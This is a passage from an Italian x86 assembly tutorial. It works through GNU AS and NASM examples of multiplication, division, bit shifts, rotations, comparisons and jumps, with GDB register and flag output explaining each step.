21      mov $1,   %eax      # Restituisce il valore contenuto in EAX
22      mov %eax, %ebx      # come valore di uscita, attraverso la
23      int $0x80           # chiamata di sistema 1 (exit).
```

```
1   ; op1 * op2
2   ;
3   section .data
4   op1:    dw       0x0007
5   op2:    dw      -0x0001
6   ;
7   section .bss
8   prodotto resb 4
9   ;
10  section .text
11  global _start
12  ;
13  _start:
14      mov       ax, [op1]        ; Accumula il moltiplicando in AX.
15      imul word [op2]            ; Moltiplica il secondo valore per AX (implicito).
16  bp1:
17      mov       [prodotto], ax   ; Copia in memoria la prima parte del risultato.
18      mov       [prodotto+2], dx ; Copia in memoria la seconda parte del risultato.
19      mov       eax, [prodotto]  ; Copia il risultato dalla memoria a EAX.
20  bp2:
21      mov       eax, 1           ; Restituisce il valore contenuto in EAX
22      mov       ebx, eax         ; come valore di uscita, attraverso la
23      int       0x80             ; chiamata di sistema 1 (exit).
```

Rispetto a esempi già visti, questo utilizza una costante numerica negativa (riga 5); in pratica è il compilatore che la trasforma nel complemento a due, in modo automatico. Per il resto, tutto procede come nell'esempio della moltiplicazione intera, a parte l'uso dell'istruzione '**`IMUL`**'.

In corrispondenza del punto '**`bp1`**' si può vedere il risultato della moltiplicazione, distribuito tra ***DX:AX***:

```
…
eax            0xfff9   65529
…
edx            0xffff   65535
…
eflags         0x292    [ AF SF IF ]
…
```

In '**`bp2`**' il risultato è completo nel registro ***EAX***:

```
…
eax            0xfffffff9      -7
…
eflags         0x292    [ AF SF IF ]
…
```

75.5.5 Divisione

Per la divisione si usa un meccanismo simile a quello della moltiplicazione, ma opposto:

AL := ***AX / src*** ***AH*** := ***resto***

AX := ***DX:AX / src*** ***DX*** := ***resto***

EAX := ***EDX:EAX / src*** ***EDX*** := ***resto***

In questo esempio si parte da valori che occupano 32 bit, azzerando inizialmente ***EDX*** perché il dividendo non è così grande da richiederne l'utilizzo.

```
1  # op1 / op2
2  #
3  .section .data
4  op1:    .int    0x00010001
5  op2:    .int    0x00000002
6  #
7  .section .text
8  .globl _start
9  #
```

```
10  _start:
11      mov  op1, %eax      # Accumula il dividendo in EAX.
12      mov  $0,  %edx      # Azzera EDX.
13      divl op2            # Divide EDX:EAX per il divisore.
14  bp1:
15      mov $1,   %eax      # Restituisce il valore contenuto in EDX
16      mov %edx, %ebx      # come valore di uscita, attraverso la
17      int $0x80           # chiamata di sistema 1 (exit).
```

```
1   ; op1 * op2
2   ;
3   section .data
4   op1:    dd      0x00010001
5   op2:    dd      0x00000002
6   ;
7   section .text
8   global _start
9   ;
10  _start:
11      mov      eax, [op1] ; Accumula il dividendo in EAX.
12      mov      edx, 0     ; Azzera EDX.
13      div long [op2]      ; Divide EDX:EAX per il divisore.
14  bp1:
15      mov      eax, 1     ; Restituisce il valore contenuto in EDX
16      mov      edx, eax   ; come valore di uscita, attraverso la
17      int      0x80       ; chiamata di sistema 1 (exit).
```

In corrispondenza del punto '**bp1**' si può leggere il risultato della divisione in ***EAX*** e il resto in ***EDX***:

```
…
eax            0x8000   32768
…
edx            0x1      1
…
eflags         0x212    [ AF IF ]
…
```

Per quanto riguarda la divisione con segno, tutto procede nello stesso modo, a parte il fatto che si utilizza l'istruzione '**IDIV**':

```
10  _start:
11      mov   op1, %eax     # Accumula il dividendo in EAX.
12      mov   $0,  %edx     # Azzera EDX.
13      idivl op2           # Divide EDX:EAX per il divisore.
```

```
10  _start:
11      mov       eax, [op1]      ; Accumula il dividendo in EAX.
12      mov       edx, 0          ; Azzera EDX.
13      idiv long [op2]           ; Divide EDX:EAX per il divisore.
```

75.6 Esempi con gli «spostamenti»

Vengono mostrati esempi di programmi estremamente banali, per dimostrare il funzionamento delle istruzioni con cui si eseguono gli spostamenti di bit (scorrimenti e rotazioni), attraverso l'aiuto di GDB. Per la compilazione, se si utilizza GNU AS è bene ricordare di inserire l'opzione '**--gstabs**', mentre con NASM è bene aggiungere l'opzione '**-g**', in modo da poter gestire più facilmente GDB, disponendo dei riferimenti al sorgente:

$ **as --gstabs -o *nome*.o *nome*.s** [*Invio*]

$ **nasm -g -f elf -o *nome*.o *nome*.s** [*Invio*]

Tabella 75.7. Scorrimenti e rotazioni.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione	Indicatori principali: *carry*, *parity*, *zero*, *sign*, *overflow*
SHL SHR	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Fa scorrere i bit, rispettivamente verso sinistra o verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	c p z s o # · · · #
SAL	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Funziona esattamente come '**SHL**', ma esiste in quanto è la controparte di '**SAR**', riferendosi a uno scorrimento aritmetico.	c p z s o # · · · #
SAR	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Fa scorrere i bit verso destra (l'ultima cifra perduta finisce nell'indicatore del riporto), mantenendo il segno originale. Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	c p z s o # · · · ·
RCL RCR	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Ruota i bit, rispettivamente verso sinistra o verso destra, utilizzando anche l'indicatore di riporto (*carry*). Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	c p z s o t · · · · # · · · #
ROL ROR	***reg***, 1 ***mem***, 1 ***reg*** ***mem***	Ruota i bit, rispettivamente verso sinistra o verso destra. Se appare un solo operando, la rotazione viene eseguita ***CL*** volte. Se il valore immediato è maggiore di uno, è il compilatore che ripete l'istruzione per più volte.	c p z s o # · · · #

75.6.1 Scorrimento logico

Viene proposto un esempio in cui si vede l'uso delle istruzioni '**SHL**' e '**SHR**'. Si parte da un valore che viene fatto scorrere a sinistra, poi viene ripristinato e quindi viene fatto scorrere a destra.

```
# Scorrimento logico (logic shift)
#
.section .data
op1:    .byte   0b01001100      # 0x4C
#
.section .text
.globl _start
#
_start:
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    shl  $1,  %al       # Sposta a sinistra le cifre di una posizione.
bp1:                    # AL = 0b10011000 0x98 overflow
    shl  $1,  %al       # Sposta a sinistra le cifre di una posizione.
bp2:                    # AL = 0b00110000 0x30 carry, overflow
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    shr  $1,  %al       # Sposta a destra le cifre di una posizione.
bp3:                    # AL = 0b00100110 0x26
    shr  $2,  %al       # Sposta a destra le cifre di due posizioni.
bp4:                    # AL = 0b00001001 0x09 carry
    mov $0,   %ebx      # Restituisce il valore contenuto in AL
    mov %al,  %bl       # copiandolo nella parte inferiore del
    mov $1,   %eax      # registro EBX ed eseguendo la chiamata
    int $0x80           # di sistema 1 (exit).
```

```
; Scorrimento logico (logic shift)
;
section .data
op1:    dd      01001100b       ; 0x4C
;
section .text
global _start
;
_start:
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    shl  al, 1          ; Sposta a sinistra le cifre di una posizione.
bp1:                    ; AL = 10011000b 0x98 overflow
    shl  al,  1         ; Sposta a sinistra le cifre di una posizione.
bp2:                    ; AL = 00110000b 0x30 carry, overflow
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    shr  al, 1          ; Sposta a destra le cifre di una posizione.
bp3:                    ; AL = 00100110b 0x26
    shr  al, 2          ; Sposta a destra le cifre di due posizioni.
```

```
bp4:                    ; AL = 00001001b 0x09 carry
    mov ebx, 0          ; Restituisce il valore contenuto in AL
    mov bl, al          ; copiandolo nella parte inferiore del
    mov eax, 1          ; registro EBX ed eseguendo la chiamata
    int 0x80            ; di sistema 1 (exit).
```

Viene mostrato lo stato del registro ***EAX*** e degli indicatori, nei vari punti di sospensione previsti:

bp1

```
eax            0x98     152
eflags         0xa92    [ AF SF IF OF ]
```

Bisogna tenere presente che l'ultima istruzione eseguita riguarda solo la porzione ***AL*** del registro ***EAX***; pertanto, dal momento che il bit più significativo è a uno, si attiva l'indicatore del segno e anche quello del traboccamento, dato che, se lo scorrimento riguardasse un valore con segno, il valore ottenuto non sarebbe più valido (perché a questo punto si sarebbe trasformato in un numero negativo).

bp2

```
eax            0x30     48
eflags         0xa17    [ CF PF AF IF OF ]
```

Sempre tenendo conto che le istruzioni eseguite riguardano solo ***AL***, si può osservare che la perdita della cifra più significativa a uno si traduce nell'attivazione del riporto; inoltre, se si trattasse di un valore con segno, anche questa volta si sarebbe verificata un'inversione (da negativo a positivo) e per questo si attiva ancora l'indicatore di traboccamento.

bp3

```
eax            0x26     38
eflags         0x212    [ AF IF ]
```

Questo scorrimento a destra fa perdere solo delle cifre a zero, pertanto il segno non cambia e non c'è alcun riporto (resto).

bp4

```
eax            0x9      9
eflags         0x217    [ CF PF AF IF ]
```

Questo ulteriore scorrimento, di due posizioni, comporta la fuoriuscita di una cifra a uno che implica l'attivazione dell'indicatore del riporto (resto).

75.6.2 Scorrimento aritmetico

Viene proposto un esempio analogo a quello della sezione precedente, in cui si vede l'uso delle istruzioni '**SAL**' e '**SAR**'. Si parte da un valore negativo che viene fatto scorrere a sinistra, poi viene ripristinato e quindi viene fatto scorrere a destra.

```
# Scorrimento aritmetico
#
.section .data
op1:    .byte   0b11001100      # 0xCC
#
.section .text
.globl _start
#
_start:
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    sal  $1,  %al       # Sposta a sinistra le cifre di una posizione.
bp1:                    # AL = 0b10011000 0x98 carry
    sal  $1,  %al       # Sposta a sinistra le cifre di una posizione.
bp2:                    # AL = 0b00110000 0x30 carry, overflow
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    sar  $1,  %al       # Sposta a destra le cifre di una posizione.
bp3:                    # AL = 0b11100110 0xE6
    sar  $2,  %al       # Sposta a destra le cifre di due posizioni.
bp4:                    # AL = 0b11111001 0xF9 carry
    mov $0,   %ebx      # Restituisce il valore contenuto in AL
    mov %al,  %bl       # copiandolo nella parte inferiore del
    mov $1,   %eax      # registro EBX ed eseguendo la chiamata
    int $0x80           # di sistema 1 (exit).
```

```
; Scorrimento aritmetico
;
section .data
op1:    dd      11001100b       ; 0xCC
;
section .text
global _start
;
_start:
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    sal  al, 1          ; Sposta a sinistra le cifre di una posizione.
bp1:                    ; AL = 10011000b 0x98 carry
    sal  al,  1         ; Sposta a sinistra le cifre di una posizione.
bp2:                    ; AL = 00110000b 0x30 carry, overflow
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    sar  al, 1          ; Sposta a destra le cifre di una posizione.
bp3:                    ; AL = 11100110b 0xE6
    sar  al, 2          ; Sposta a destra le cifre di due posizioni.
```

```
bp4:                    ; AL = 11111001b 0xF9 carry
    mov ebx, 0          ; Restituisce il valore contenuto in AL
    mov bl, al          ; copiandolo nella parte inferiore del
    mov eax, 1          ; registro EBX ed eseguendo la chiamata
    int 0x80            ; di sistema 1 (exit).
```

Viene mostrato lo stato del registro ***EAX*** e degli indicatori, nei vari punti di sospensione previsti:

bp1

```
eax            0x98     152
eflags         0x293    [ CF AF SF IF ]
```

Bisogna tenere presente che l'ultima istruzione eseguita riguarda solo la porzione ***AL*** del registro ***EAX***; pertanto, dal momento che il bit più significativo è a uno, è attivo l'indicatore del segno e anche quello del riporto, avendo perduto una cifra a uno. Il numero non ha cambiato di segno e quindi l'indicatore di traboccamento non è attivo.

bp2

```
eax            0x30     48
eflags         0xa17    [ CF PF AF IF OF ]
```

Sempre tenendo conto che le istruzioni eseguite riguardano solo ***AL***, si può osservare che anche questa volta è stata persa una cifra più significativa a uno, essendo attivo l'indicatore del riporto, ma la cosa più importante è che adesso il valore ha cambiato di segno e così si vede attivo anche l'indicatore di traboccamento.

bp3

```
eax            0xe6     230
eflags         0x292    [ AF SF IF ]
```

Questo scorrimento a destra fa perdere solo delle cifre a zero, pertanto non c'è alcun riporto (resto).

bp4

```
eax            0xf9     249
eflags         0x297    [ CF PF AF SF IF ]
```

Questo ulteriore scorrimento, di due posizioni, comporta la fuoriuscita di una cifra a uno che implica l'attivazione dell'indicatore del riporto (resto).

75.6.3 Rotazione

Viene proposto un esempio analogo a quello delle sezioni precedenti, in cui si vede l'uso delle istruzioni '**ROL**' e '**ROR**'. Si parte da un valore che viene fatto ruotare a sinistra, poi viene ripristinato e quindi viene fatto ruotare a destra.

```
# Rotazione
#
.section .data
op1:    .byte   0b11001100      # 0xCC
#
.section .text
.globl _start
#
_start:
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    rol  $1,  %al       # Ruota a sinistra le cifre di una posizione.
bp1:                    # AL = 0b10011001 0x99 carry
    rol  $1,  %al       # Ruota a sinistra le cifre di una posizione.
bp2:                    # AL = 0b00110011 0x33 carry, overflow
    mov  op1, %al       # Inizializza AL con il valore di partenza.
    ror  $1,  %al       # Ruota a destra le cifre di una posizione.
bp3:                    # AL = 0b01100110 0x66 overflow
    ror  $2,  %al       # Ruota a destra le cifre di due posizioni.
bp4:                    # AL = 0b10011001 0x99 carry, overflow
    mov $0,   %ebx      # Restituisce il valore contenuto in AL
    mov %al,  %bl       # copiandolo nella parte inferiore del
    mov $1,   %eax      # registro EBX ed eseguendo la chiamata
    int $0x80           # di sistema 1 (exit).
```

```
; Rotazione
;
section .data
op1:    dd      11001100b       ; 0xCC
;
section .text
global _start
;
_start:
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    rol  al, 1          ; Ruota a sinistra le cifre di una posizione.
bp1:                    ; AL = 10011001b 0x99 carry
    rol  al,  1         ; Ruota a sinistra le cifre di una posizione.
bp2:                    ; AL = 00110011b 0x33 carry, overflow
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    ror  al, 1          ; Ruota a destra le cifre di una posizione.
bp3:                    ; AL = 01100110b 0x66 overflow
    ror  al, 2          ; Ruota a destra le cifre di due posizioni.
```

```
bp4:                    ; AL = 10011001b 0x99 carry, overflow
    mov ebx, 0          ; Restituisce il valore contenuto in AL
    mov bl, al          ; copiandolo nella parte inferiore del
    mov eax, 1          ; registro EBX ed eseguendo la chiamata
    int 0x80            ; di sistema 1 (exit).
```

Viene mostrato lo stato del registro ***EAX*** e degli indicatori, nei vari punti di sospensione previsti:

bp1

```
eax            0x99     153
eflags         0x293    [ CF AF SF IF ]
```

Si deve tenere conto che l'ultima istruzione eseguita riguarda solo la porzione ***AL*** del registro ***EAX***. La rotazione ha fatto uscire a sinistra una cifra a uno che rientra nella parte destra. La cifra spostata la si ritrova nell'indicatore di riporto.

bp2

```
eax            0x33     51
eflags         0xa93    [ CF AF SF IF OF ]
```

Questa ulteriore rotazione a sinistra fa uscire un'altra cifra a uno, che viene segnalata nel riporto, ma il bit più significativo passa a zero e quindi l'indicatore di traboccamento viene attivato.

bp3

```
eax            0x66     102
eflags         0xa92    [ AF SF IF OF ]
```

Questa rotazione a destra fa perdere solo una cifra a zero, pertanto non c'è alcun riporto (resto), ma dal momento che rientra a sinistra, l'indicatore di traboccamento manifesta l'ipotesi di cambiamento del segno.

bp4

```
eax            0x99     153
eflags         0xa93    [ CF AF SF IF OF ]
```

Questa ulteriore rotazione, di due posizioni, comporta la fuoriuscita di una cifra a uno che implica l'attivazione dell'indicatore del riporto (resto). Dal momento che la cifra rientra a sinistra, l'indicatore di traboccamento segnala l'ipotesi di cambiamento del segno.

75.6.4 Rotazione con riporto

Viene proposto un esempio analogo a quello della sezione precedente, in cui si vede l'uso delle istruzioni '**RCL**' e '**RCR**'. Si parte da un valore che viene fatto ruotare a sinistra, poi viene ripristinato e quindi viene fatto ruotare a destra. Qui viene usata anche l'istruzione '**CLC**' per azzerare il riporto.

```
# Rotazione con riporto
#
.section .data
op1:    .byte   0b11001101      # 0xCD
#
.section .text
.globl _start
#
_start:
    clc                     # Azzera il riporto.
    mov  op1, %al           # Inizializza AL con il valore di partenza.
    rcl  $1,  %al           # Ruota a sinistra le cifre di una posizione.
bp1:                        # AL = 0b10011010 0x9A carry
    rcl  $1,  %al           # Ruota a sinistra le cifre di una posizione.
bp2:                        # AL = 0b00110101 0x35 carry, overflow
    clc                     # Azzera il riporto.
    mov  op1, %al           # Inizializza AL con il valore di partenza.
    rcr  $1,  %al           # Ruota a destra le cifre di una posizione.
bp3:                        # AL = 0b01100110 0x66 carry, overflow
    rcr  $2,  %al           # Ruota a destra le cifre di due posizioni.
bp4:                        # AL = 0b01011001 0x59 carry, overflow
    mov $0,   %ebx          # Restituisce il valore contenuto in AL
    mov %al,  %bl           # copiandolo nella parte inferiore del
    mov $1,   %eax          # registro EBX ed eseguendo la chiamata
    int $0x80               # di sistema 1 (exit).
```

```
; Rotazione con riporto
;
section .data
op1:    dd      11001101b       ; 0xCD
;
section .text
global _start
;
_start:
    clc                     ; Azzera il riporto.
    mov  al, [op1]          ; Inizializza AL con il valore di partenza.
    rcl  al, 1              ; Ruota a sinistra le cifre di una posizione.
bp1:                        ; AL = 10011010b 0x9A carry
    rcl  al,  1             ; Ruota a sinistra le cifre di una posizione.
bp2:                        ; AL = 00110101b 0x35 carry, overflow
```

```
    clc                 ; Azzera il riporto.
    mov  al, [op1]      ; Inizializza AL con il valore di partenza.
    rcr  al, 1          ; Ruota a destra le cifre di una posizione.
bp3:                    ; AL = 01100110b 0x66 carry, overflow
    rcr  al, 2          ; Ruota a destra le cifre di due posizioni.
bp4:                    ; AL = 01011001b 0x59 carry, overflow
    mov ebx, 0          ; Restituisce il valore contenuto in AL
    mov bl, al          ; copiandolo nella parte inferiore del
    mov eax, 1          ; registro EBX ed eseguendo la chiamata
    int 0x80            ; di sistema 1 (exit).
```

Viene mostrato lo stato del registro ***EAX*** e degli indicatori, nei vari punti di sospensione previsti:

bp1

```
eax            0x9a     154
eflags         0x293    [ CF AF SF IF ]
```

Si deve tenere conto che l'ultima istruzione eseguita riguarda solo la porzione ***AL*** del registro ***EAX***. La rotazione ha fatto uscire a sinistra una cifra a uno che passa nel riporto, mentre a destra entra il valore precedente del riporto (zero).

bp2

```
eax            0x35     53
eflags         0xa93    [ CF AF SF IF OF ]
```

Questa ulteriore rotazione a sinistra fa uscire un'altra cifra a uno che passa nel, mentre entra a destra la cifra a uno del riporto precedente. Dopo la rotazione il bit più significativo passa a zero e quindi l'indicatore di traboccamento viene attivato.

bp3

```
eax            0x66     102
eflags         0xa93    [ CF AF SF IF OF ]
```

Questa rotazione a destra fa perdere una cifra a uno che si trasferisce del riporto; inoltre, dato che il riporto precedente era zero, a sinistra si inserisce una cifra a zero, la quale fa scattare l'indicatore di traboccamento (nell'ipotesi di un valore con segno).

bp4

```
eax            0x59     89
eflags         0xa93    [ CF AF SF IF OF ]
```

Questa ulteriore rotazione, di due posizioni, comporta la fuoriuscita di una cifra a zero e poi a uno che implica l'attivazione dell'indicatore del riporto (resto). In precedenza c'era stato un riporto che attualmente risulta inserito subito dopo la cifra più significativa. Dal momento l'ultimo scorrimento (dei due eseguiti qui) fa cambiare la cifra più significativa, si attiva l'indicatore di traboccamento.

75.7 Esempi con i confronti

Viene mostrato un esempio di programma, con l'unico scopo di dimostrare il funzionamento dell'istruzione di confronto, attraverso l'aiuto di GDB. Per la compilazione, se si utilizza GNU AS è bene ricordare di inserire l'opzione '**--gstabs**', mentre con NASM è bene aggiungere l'opzione '**-g**', in modo da poter gestire più facilmente GDB, disponendo dei riferimenti al sorgente:

$ **as --gstabs -o *nome*.o *nome*.s** [*Invio*]

$ **nasm -g -f elf -o *nome*.o *nome*.s** [*Invio*]

```
# Confronto
#
.section .text
.globl _start
#
_start:
    mov $0b01000000, %al        # A =  64       A =   64
    mov $0b10000000, %bl        # B = 128       B = -128
    cmp %bl, %al                # carry, segno, overflow
bp1:
    mov $0b01000000, %al        # A =  64       A =   64
    mov $0b11000000, %bl        # B = 192       B =  -64
    cmp %bl, %al                # carry, segno, overflow
bp2:
    mov $0b01000000, %al        # A =  64       A =   64
    mov $0b00000000, %bl        # B =   0       B =    0
    cmp %bl, %al                #
bp3:
    mov $0b01000000, %al        # A =  64       A =   64
    mov $0b01000000, %bl        # B =  64       B =   64
    cmp %bl, %al                # zero
bp4:
    mov $0b00000000, %al        # A =   0       A =    0
    mov $0b10000000, %bl        # B = 128       B = -128
    cmp %bl, %al                # carry, segno, overflow
bp5:
    mov $0b00000000, %al        # A =   0       A =    0
    mov $0b11000000, %bl        # B = 192       B =  -64
    cmp %bl, %al                # carry
bp6:
    mov $0b00000000, %al        # A =   0       A =    0
    mov $0b00000000, %bl        # B =   0       B =    0
    cmp %bl, %al                # zero
bp7:
    mov $0b00000000, %al        # A =   0       A =    0
    mov $0b01000000, %bl        # B =  64       B =   64
    cmp %bl, %al                # carry, segno
```

```
bp8:
    mov $0b11000000, %al        # A = 192       A =  -64
    mov $0b10000000, %bl        # B = 128       B = -128
    cmp %bl, %al                #
bp9:
    mov $0b11000000, %al        # A = 192       A =  -64
    mov $0b11000000, %bl        # B = 192       B =  -64
    cmp %bl, %al                # zero
bp10:
    mov $0b11000000, %al        # A = 192       A =  -64
    mov $0b00000000, %bl        # B =   0       B =    0
    cmp %bl, %al                # segno
bp11:
    mov $0b11000000, %al        # A = 192       A =  -64
    mov $0b01000000, %bl        # B =  64       B =   64
    cmp %bl, %al                # segno
bp12:
    mov $0b10000000, %al        # A = 128       A = -128
    mov $0b10000000, %bl        # B = 128       B = -128
    cmp %bl, %al                # zero
bp13:
    mov $0b10000000, %al        # A = 128       A = -128
    mov $0b11000000, %bl        # B = 192       B =  -64
    cmp %bl, %al                # carry, segno
bp14:
    mov $0b10000000, %al        # A = 128       A = -128
    mov $0b00000000, %bl        # B =   0       B =    0
    cmp %bl, %al                # segno
bp15:
    mov $0b10000000, %al        # A = 128       A = -128
    mov $0b01000000, %bl        # B =  64       B =   64
    cmp %bl, %al                # overflow
bp16:
    mov $0,    %ebx      # Conclude il funzionamento con la
    mov $1,    %eax      # chiamata di sistema 1 (exit).
    int $0x80            #
```

```
; Confronto
;
section .text
global _start
;
_start:
    mov al, 01000000b           ; A =  64       A =   64
    mov bl, 10000000b           ; B = 128       B = -128
    cmp al, bl                  ; carry, segno, overflow
bp1:
```

```
    mov al, 01000000b           ; A =  64       A =   64
    mov bl, 11000000b           ; B = 192       B =  -64
    cmp al, bl                  ; carry, segno, overflow
bp2:
    mov al, 01000000b           ; A =  64       A =   64
    mov bl, 00000000b           ; B =   0       B =    0
    cmp al, bl                  ;
bp3:
    mov al, 01000000b           ; A =  64       A =   64
    mov bl, 01000000b           ; B =  64       B =   64
    cmp al, bl                  ; zero
bp4:
    mov al, 00000000b           ; A =   0       A =    0
    mov bl, 10000000b           ; B = 128       B = -128
    cmp al, bl                  ; carry, segno, overflow
bp5:
    mov al, 00000000b           ; A =   0       A =    0
    mov bl, 11000000b           ; B = 192       B =  -64
    cmp al, bl                  ; carry
bp6:
    mov al, 00000000b           ; A =   0       A =    0
    mov bl, 00000000b           ; B =   0       B =    0
    cmp al, bl                  ; zero
bp7:
    mov al, 00000000b           ; A =   0       A =    0
    mov bl, 01000000b           ; B =  64       B =   64
    cmp al, bl                  ; carry, segno
bp8:
    mov al, 11000000b           ; A = 192       A =  -64
    mov bl, 10000000b           ; B = 128       B = -128
    cmp al, bl                  ;
bp9:
    mov al, 11000000b           ; A = 192       A =  -64
    mov bl, 11000000b           ; B = 192       B =  -64
    cmp al, bl                  ; zero
bp10:
    mov al, 11000000b           ; A = 192       A =  -64
    mov bl, 00000000b           ; B =   0       B =    0
    cmp al, bl                  ; segno
bp11:
    mov al, 11000000b           ; A = 192       A =  -64
    mov bl, 01000000b           ; B =  64       B =   64
    cmp al, bl                  ; segno
bp12:
    mov al, 10000000b           ; A = 128       A = -128
    mov bl, 10000000b           ; B = 128       B = -128
    cmp al, bl                  ; zero
```

```
bp13:
    mov al, 10000000b           ; A = 128       A = -128
    mov bl, 11000000b           ; B = 192       B =  -64
    cmp al, bl                  ; carry, segno
bp14:
    mov al, 10000000b           ; A = 128       A = -128
    mov bl, 00000000b           ; B =   0       B =    0
    cmp al, bl                  ; segno
bp15:
    mov al, 10000000b           ; A = 128       A = -128
    mov bl, 01000000b           ; B =  64       B =   64
    cmp al, bl                  ; overflow
bp16:
    mov ebx, 0  ; Conclude il funzionamento con la
    mov eax, 1  ; chiamata di sistema 1 (exit).
    int 0x80    ;
```

Tra i commenti si possono osservare i valori confrontati, interpretandoli sia con segno, sia senza segno, assieme all'effetto atteso sugli indicatori. Viene mostrato lo stato degli indicatori nei vari punti di sospensione previsti, con l'ausilio di GDB:

bp1

```
eax            0x40     64
ebx            0x80     128
eflags         0xa87    [ CF PF SF IF OF ]
```

bp2

```
eax            0x40     64
ebx            0xc0     192
eflags         0xa83    [ CF SF IF OF ]
```

bp3

```
eax            0x40     64
ebx            0x0      0
eflags         0x202    [ IF ]
```

bp4

```
eax            0x40     64
ebx            0x40     64
eflags         0x246    [ PF ZF IF ]
```

bp5

```
eax            0x0      0
ebx            0x80     128
eflags         0xa83    [ CF SF IF OF ]
```

bp6

```
eax            0x0      0
ebx            0xc0     192
eflags         0x203    [ CF IF ]
```

bp7

```
eax            0x0      0
ebx            0x0      0
eflags         0x246    [ PF ZF IF ]
```

bp8

```
eax            0x0      0
ebx            0x40     64
eflags         0x287    [ CF PF SF IF ]
```

bp9

```
eax            0xc0     192
ebx            0x80     128
eflags         0x202    [ IF ]
```

bp10

```
eax            0xc0     192
ebx            0xc0     192
eflags         0x246    [ PF ZF IF ]
```

bp11

```
eax            0xc0     192
ebx            0x0      0
eflags         0x286    [ PF SF IF ]
```

bp12

```
eax            0xc0     192
ebx            0x40     64
eflags         0x282    [ SF IF ]
```

bp13

```
eax            0x80     128
ebx            0x80     128
eflags         0x246    [ PF ZF IF ]
```

bp14

```
eax            0x80     128
ebx            0xc0     192
eflags         0x287    [ CF PF SF IF ]
```

bp15

```
eax            0x80     128
ebx            0x0      0
eflags         0x282    [ SF IF ]
```

bp16

```
eax            0x80     128
ebx            0x40     64
eflags         0xa02    [ IF OF ]
```

75.8 Le istruzioni di salto

Con il linguaggio macchina, le strutture di controllo si realizzano solo attraverso le istruzioni di salto. Una di queste istruzioni è incondizionata, mentre le altre sono sottoposte al verificarsi di una condizione. A loro volta, le istruzioni di salto condizionato si dividono in due gruppi: uno riferito al controllo dello stato di un certo indicatore, l'altro riferito virtualmente a un confronto di valori.

75.8.1 Portata del salto

In generale, le istruzioni di salto hanno un solo operando, costituito dal riferimento all'indirizzo di memoria da raggiungere. Il compilatore traduce il riferimento all'indirizzo di memoria in un «dislocamento», ovvero nella quantità di byte da percorrere, in avanti o indietro. A questo proposito, ciò che rappresenta il riferimento alla memoria può avere dimensioni diverse e questo significa che l'istruzione può richiedere di precisare la dimensione del numero che rappresenta tale dislocamento. In modo predefinito, la dimensione del numero usato per indicare il dislocamento è quella di un registro comune.

Si osservi che la possibilità di dichiarare esplicitamente l'entità del dislocamento dipende dal compilatore; d'altro canto, sarebbe compito del compilatore determinarlo automaticamente.

75.8.2 Salto incondizionato

Il salto incondizionato si ottiene con l'istruzione '**`JMP`**':

```
JMP imm
```

Con un linguaggio assemblatore, il valore immediato richiesto come operando si ottiene con un simbolo, ovvero indicando il nome di un'etichetta già dichiarata altrove nel sorgente:

```
# Salto incondizionato
#
.section .text
```

```
.globl _start
#
_start:
    mov $1, %ebx
bp1:
    jmp bp3
bp2:
    mov $2, %ebx        # Questa istruzione non viene eseguita.
bp3:
    mov $1,   %eax      # Conclude il funzionamento con la
    int $0x80           # chiamata di sistema 1 (exit).
```

```
; Salto incondizionato
;
section .text
global _start
;
_start:
    mov ebx, 1
bp1:
    jmp bp3
bp2:
    mov ebx, 2          ; Questa istruzione non viene eseguita.
bp3:
    mov eax, 1          ; Conclude il funzionamento con la
    int 0x80            ; chiamata di sistema 1 (exit).
```

In questo esempio si vede che l'istruzione contenuta tra i punti '**`bp2`**' e '**`bp3`**' non viene mai eseguita.

75.8.3 Salto condizionato dallo stato di un indicatore

Un gruppo di istruzioni di salto condizionato dipende dallo stato di un certo indicatore. Queste istruzioni hanno la forma seguente, dove la lettera ***x*** identifica l'indicatore da controllare:

J***x*** ***imm***

JN***x*** ***imm***

Per esempio, l'istruzione '**`JZ`**' salta se l'indicatore zero è attivo, mentre '**`JNZ`**' salta se l'indicatore zero non è attivo.

Tabella 75.135. Salti condizionati dallo stato di un indicatore particolare.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione
`JC` `JNC`	***imm***	Salta se l'indicatore del riporto (*carry*), rispettivamente, è attivo, oppure non è attivo.
`JO` `JNO`	***imm***	Salta se l'indicatore di traboccamento (*overflow*), rispettivamente, è attivo, oppure non è attivo.
`JS` `JNS`	***imm***	Salta se l'indicatore di segno (*sign*), rispettivamente, è attivo, oppure non è attivo.
`JZ` `JNZ`	***imm***	Salta se l'indicatore di zero, rispettivamente, è attivo, oppure non è attivo.
`JP` `JNP`	***imm***	Salta se l'indicatore di parità, rispettivamente, è attivo, oppure non è attivo.

75.8.4 Salto condizionato da un confronto

Il gruppo più importante di istruzioni di salto condizionato dipende da un confronto, che di solito si realizza con l'istruzione '**`CMP`**'. In pratica, l'istruzione '**`CMP`**' simula una sottrazione, aggiornando gli indicatori come se si trattasse di una sottrazione vera e propria; successivamente, l'istruzione di salto condizionato verifica gli indicatori e si comporta di conseguenza.

Da quanto descritto si deve comprendere che, anche se le istruzioni di questo tipo richiamano l'idea del confronto tra due valori, in pratica dipendono da indicatori che possono essere stati modificati da istruzioni di tipo differente.

